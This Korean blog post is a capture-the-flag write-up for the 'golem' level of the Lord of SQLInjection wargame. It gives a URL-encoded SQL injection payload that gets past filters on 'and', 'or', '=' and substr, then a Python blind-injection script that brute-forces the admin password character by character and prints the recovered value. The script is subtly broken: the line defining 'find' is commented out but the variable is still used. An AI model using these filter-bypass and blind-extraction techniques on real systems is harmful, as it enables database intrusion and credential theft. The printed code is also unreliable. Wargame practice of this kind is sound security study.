본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 11번 golem

반응형

 

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

Lord of SQLInjection 11번 golem

 

 

 

orge 문제 처럼 파이썬으로 pw를 정확히 구해야 하는 문제이다.

이번 문제에는 and, or 필터링에서 substr과 = 필터링까지 추가 되었다.

 

 

pw 길이를 먼저 구할때 = 은 입력이 안되니까 like를 사용하여 우회한다.

 

 

 

?pw=%27%20||%20id%20like%20%27admin%27%26%26length(pw)>7%23

pw='' || id like 'admin'&&length(pw)>7#'

 

이상하게 뒤에 length(pw) like 8은 안된다.. 원래 안되는건가..//

일단 pw의 길이는 8글자이다.

 

 

import requests

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies={"PHPSESSID":"세션"} 

pw=""
for i in range(1,9):
    for j in range(32,127):
        pay=f"?pw='||ascii(substring(pw,{i},1)) like {j};%23" #substr 필터링이 걸려 있어 substring으로 우회한다.
        res=requests.get(url+pay,cookies=cookies)
        #find = re.findall("Hello admin", res.text)
    
        if find:
            pw+=chr(j)
            break
print("pw=",pw)

 

pw= 77d6290b

 

 

 

 

 

 

 

 

 

반응형